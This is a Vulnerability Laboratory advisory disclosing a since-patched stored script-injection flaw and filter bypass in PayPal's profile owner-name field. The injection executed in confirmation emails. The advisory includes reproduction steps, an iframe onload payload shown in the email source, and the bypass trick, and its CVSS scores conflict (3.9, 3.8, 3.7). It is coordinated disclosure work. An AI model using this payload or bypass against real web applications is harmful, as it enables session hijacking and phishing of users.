PayPal Filter Bypass / Malicious Input

`Document Title:  
===============  
PayPal Bug Bounty #121 - (Profile) Filter Bypass & Persistent Web  
Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1627  
  
ID: EIBBP-32725  
  
Video: http://www.vulnerability-lab.com/get_content.php?id=1697  
  
  
  
  
Release Date:  
=============  
2016-03-30  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1627  
  
  
Common Vulnerability Scoring System:  
====================================  
3.9  
  
  
Product & Service Introduction:  
===============================  
PayPal is a global e-commerce business allowing payments and money  
transfers to be made through the Internet. Online money  
transfers serve as electronic alternatives to paying with traditional  
paper methods, such as checks and money orders. Originally,  
a PayPal account could be funded with an electronic debit from a bank  
account or by a credit card at the payer s choice. But some  
time in 2010 or early 2011, PayPal began to require a verified bank  
account after the account holder exceeded a predetermined  
spending limit. After that point, PayPal will attempt to take funds for  
a purchase from funding sources according to a specified  
funding hierarchy. If you set one of the funding sources as Primary, it  
will default to that, within that level of the hierarchy  
(for example, if your credit card ending in 4567 is set as the Primary  
over 1234, it will still attempt to pay money out of your  
PayPal balance, before it attempts to charge your credit card). The  
funding hierarchy is a balance in the PayPal account; a  
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras  
Master Card or Bill Me Later (if selected as primary  
funding source) (It can bypass the Balance); a verified bank account;  
other funding sources, such as non-PayPal credit cards.  
The recipient of a PayPal transfer can either request a check from  
PayPal, establish their own PayPal deposit account or request  
a transfer to their bank account.  
  
PayPal is an acquirer, performing payment processing for online vendors,  
auction sites, and other commercial users, for which it  
charges a fee. It may also charge a fee for receiving money,  
proportional to the amount received. The fees depend on the currency  
used, the payment option used, the country of the sender, the country of  
the recipient, the amount sent and the recipient s account  
type. In addition, eBay purchases made by credit card through PayPal may  
incur extra fees if the buyer and seller use different currencies.  
  
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its  
corporate headquarters are in San Jose, California, United  
States at eBay s North First Street satellite office campus. The company  
also has significant operations in Omaha, Nebraska, Scottsdale,  
Arizona, and Austin, Texas, in the United States, Chennai, Dublin,  
Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across  
Europe, PayPal also operates as a Luxembourg-based bank.  
  
On March 17, 2010, PayPal entered into an agreement with China UnionPay  
(CUP), China s bankcard association, to allow Chinese consumers  
to use PayPal to shop online.PayPal is planning to expand its workforce  
in Asia to 2,000 by the end of the year 2010.  
  
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Core Research Team discovered an  
application-side mail encoding web vulnerability and filter bypass issue  
in the official PayPal Inc online-service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-10-27: Researcher Notification & Coordination (Benjamin Kunz Mejri  
- Evolution Security GmbH)  
2015-10-28: Vendor Notification (PayPal Inc - Security & Bug Bounty Team)  
2015-10-30: Vendor Response/Feedback (PayPal Inc - Security & Bug Bounty  
Team)  
2016-03-08: Vendor Fix/Patch (PayPal Inc - Developer Team)  
2016-03-09: Security Acknowledgements (PayPal Inc - Security & Bug  
Bounty Team)  
2016-03-30: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
PayPal Inc  
Product: PayPal - Online Service Web Application 2015 Q4  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent input validation & mail encoding web vulnerability has been  
discovered in the official PayPal Inc online-service web-application.  
The validation and mail encoding web vulnerability allows remote  
attackers to inject own malicious script codes to the mail header of the  
portal mails.  
  
Due to a long term testing we was able to verify with an older  
registered account a new vulnerability by accessing the panel. The  
accoutn [email protected]  
was registered with special chars in the ownername input fields. By  
registration of multiple emails to the account we was able to stream the  
malicious  
payload in the ownername of the account to another connected paypal user  
email ([email protected]). The ownername input field does  
not encode  
the vulnerable inserted special chars. When an account is registered  
with an already exisiting account for sharing it is required to confirm  
the account by  
email (link). In this email the malicious injected owner-name payload is  
executing in the users account email inbox. The web-server of the paypal  
portal  
does not filter the input of the already injected code and uses a string  
to stream it internal to the registere account mail to verify. Thus  
results in  
the execution of the payload in the mail inbox of the target account  
that was added. The reply of the server does run through the main email  
sender of  
paypal ([email protected]).  
  
A filter has been activated by an automated appliance to make executable  
codes invisible after taking them to process by send as confirm email.  
In our  
testings every second email was manipulated by the server by injection  
of `div style=``display:none; color:fff; font-size:1pt;`. Even if the  
interaction  
was manual or automated coordinated to patch the validation flaw next to  
processing it we used another method to bypass.  
  
To bypass the filter then and edit the value=`` its required to update  
the owner name with payload to [payload]+input, and change it to  
value=`anything src=`/`  
so basically `anything` will be the value and src=``/`` will be the new  
parameter inside that input code form. The same way we used to confirm  
vulnerability 120  
with the EIBBP-32718.  
  
The security risk of the persistent input validation web vulnerability  
is estimated as medium with a cvss (common vulnerability scoring system)  
count of 3.8.  
Exploitation of the persistent input validation web vulnerability  
requires a low privilege web-application user account and low user  
interaction.  
Successful exploitation of the vulnerability results in session  
hijacking, persistent phishing attacks, persistent redirect to external  
sources  
and persistent manipulation of affected or connected service module context.  
  
Request Method(s): Inject  
[+] POST  
  
Vulnerable Module(s):  
[+] PayPal Account - Profile Account Settings -  
Unconfirmed Email Account  
  
Vulnerable Parameter(s):  
[+] ownername  
  
Affected Module(s):  
[+] Confirm your Email Address ([email protected] or  
[email protected])  
  
  
  
Proof of Concept (PoC):  
=======================  
The application-side mail encoding vulnerability can be exploited by  
multi user account and shared accounts with restricted user account  
access and low or medium user interaction.  
For security demonstration or to reproduce the security vulnerability  
follow the provided information and steps below to continue.  
  
1. Register a PayPal Inc account  
2. Inject a payload as ownername to the paypal user profile  
3. Use the bypass filter method to process the input  
4. Surf to the profile were the emails becomes visible and click the  
unconfirmed flag button  
Note: Now the service takes the payload and streams the code to the  
paypal user email accounts  
5. Open the postbox of one of the registered accounts that is still not  
confirmed and watch the header  
6. The code executes in the header section next to the introduction  
sentence with the vulnerable ownername value  
7. Successful reproduce of the security vulnerability!  
  
  
PoC: Source (Confirm Email Address)  
  
Confirm your email address ...  
Hello %20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY VIA  
OWNERNAME!]iframe src="a" onload="alert("VL")" <,<="" p=""><p>Confirm  
your email address  
now to let us know it really belongs to you.</p> <p>Once that's done,  
you're ready to receive money.</p> <p>If you are unable to click the  
button below to confirm your  
email, please follow this link <span  
class="confidential">https://www.paypal.com/de/ece/?cn=00622082609784738416&[email protected]</span>.</p>  
<p> <table align=left border="0"  
cellspacing="0" cellpadding="0" class="mobile_button" width="100%">  
<tbody> <tr> <td height="1" id="button_force_width"> <img height="1"  
border="0"  
src="https://www.paypalobjects.com/webstatic/eCAT/GCE/spacer10.gif"  
style="display:block;" draggable="false"/> </td> </tr> <tr> <td> <table  
border="0"  
cellspacing="0" cellpadding="0" class="mobile_button"> <tbody> <tr> <td  
width="1" height="30" id="force_height"> <img width="1" height="30"  
border="0"  
src="https://www.paypalobjects.com/webstatic/eCAT/GCE/spacer10.gif"  
style="display:block;" draggable="false"/> </td> <td valign="middle"  
align="left"  
class="button_style"  
style="font-family:HelveticaNeueLight,HelveticaNeue-Light,'Helvetica  
Neue Light',HelveticaNeue,Helvetica,Arial,sans-serif;font-weight:300;  
font-stretch:normal;text-align:center;color:#fff;font-size:15px;background:#0079C1;;border-radius:7px!important;  
-moz-border-radius: 7px !important; -o-border-radius:  
7px !important; -ms-border-radius: 7px  
!important;line-height:1.45em;padding:7px 15px 8px;margin:0 auto  
16px;font-size:1em;padding-bottom:7px;">  
<span class="confidential"><a type="Link" target="_BLANK" class="button  
" l-title="" linkId="7d8753434982d8bb33800b257d167211"  
style="color:#ffffff; text-decoration:none;  
display:block; font-family:Arial,sans-serif; font-weight:bold;  
font-size:13px; line-height:15px;"  
href="https://www.paypal.com/de/ece/?cn=00622082609784738416&[email protected]"><span  
style="color:#ffffff; text-decoration:none; display:block;  
font-family:Arial,sans-serif; font-weight:bold; font-size:13px;  
line-height:15px;">Confirm your email</span></a></span> </td> </tr>  
</tbody> </table> </td> </tr>  
</tbody> </table> </p> <br> <!--[if !mso]><!--> <br>  
<!--<![endif]--><p><p>Thanks,</p> <p>PayPal</p></p> </td> </tr> </tbody>  
</table> </td>  
<td width="12"  
style="background:url(/i/scr/scr_emailRightBorder_13wx1h.gif) left  
repeat-y;border-right: 1px solid #ddd;">  
<img src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif"  
border="0" alt=""> </td> </tr> <tr> <td colspan="3">  
<img height="13"  
src="https://www.paypalobjects.com/en_US/i/scr/scr_emailBottomCorners_580wx13h.gif"  
border="0" alt=""> </td> </tr> </tbody> </table>  
<table border="0" cellpadding="0" cellspacing="0" id="emailFooter"  
style="padding-top:20px;font:12px Arial, Verdana, Helvetica,  
sans-serif;color:#292929;"  
width="100%"><tbody><tr><td><p>Copyright © 1999-2015 PayPal. All rights  
reserved. PayPal (Europe) S.à r.l. et Cie, S.C.A. Société en Commandite  
par Actions Registered Office: 22–24 Boulevard Royal, L-2449  
Luxembourg RCS Luxembourg B 118 349</p><p class="footer ppid">PayPal  
PPC000372:4aab730d1f97</p></td></tr></tbody></table>  
<img  
src="https://paypal.112.2O7.net/b/ss/paypalglobal/1/H.6--NS/0?pageName=PPC000372&c50=en_US"  
alt="" height="1" width="1" border="0"/>  
<img  
src="https://t.paypal.com/ts?ppid=PPC000372&cnac=DE&rsta=en_DE(en_US)&cust=MLU5GPECNYWH8&unptid=315d1372-78d7-11e5-8112-d48564540750&t=&cal=4aab730d1f97&calc=4aab730d1f97&calf=4aab730d1f97&page=main:email&pgrp=main:email&e=op&mchn=em&s=ci&mail=sys"  
alt=""  
height="1" width="1" border="0"/> </body> </html></div>  
<table border="0" cellpadding="0" cellspacing="0"  
id="emailWrapperTable" width="580">  
<tbody>  
<tr valign="top">  
<td colspan="3">  
<table border="0" cellpadding="0" cellspacing="0" width="100%">  
<tbody>  
<tr valign="top">  
<td width="130px;"><a  
href="https://www.paypal.com"><img  
src="https://www.paypalobjects.com/en_US/i/logo/logo_emailheader_113wx46h.gif"></a></td>  
</tr>  
<tr>  
<td>  
<img alt="" border="0" height="10"  
src="http://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1">  
</td>  
</tr>  
</tbody>  
</table>  
</td>  
</tr>  
  
  
Video Demonstration: ../poc.wmv  
In the video we demonstrate the compromised test account with multiple  
emails. One of the email is unconfirmed. In the profile of the user is a  
payload  
saved to the ownername of the paypal account. This ownername is taken to  
the confirm email of paypal and send by the original source. After the  
switch  
over to the system of the mobile device we extract the send message and  
save it as basic html file which results in an execution. The bug is  
located  
on the application-side and affects the email encoding to the paypal  
users. This issue could also have an effect to other section as well  
which has to  
be approved. The bypass method is to pass the bug through the filter for  
execution.  
  
  
Solution - Fix & Patch:  
=======================  
2016-03-08: Vendor Fix/Patch (PayPal Inc - Developer Team)  
  
  
Security Risk:  
==============  
The security risk of the application-side mail encoding vulnerability  
and filter bypass issue is estimated as medium. (CVSS 3.7)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri  
([email protected]) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
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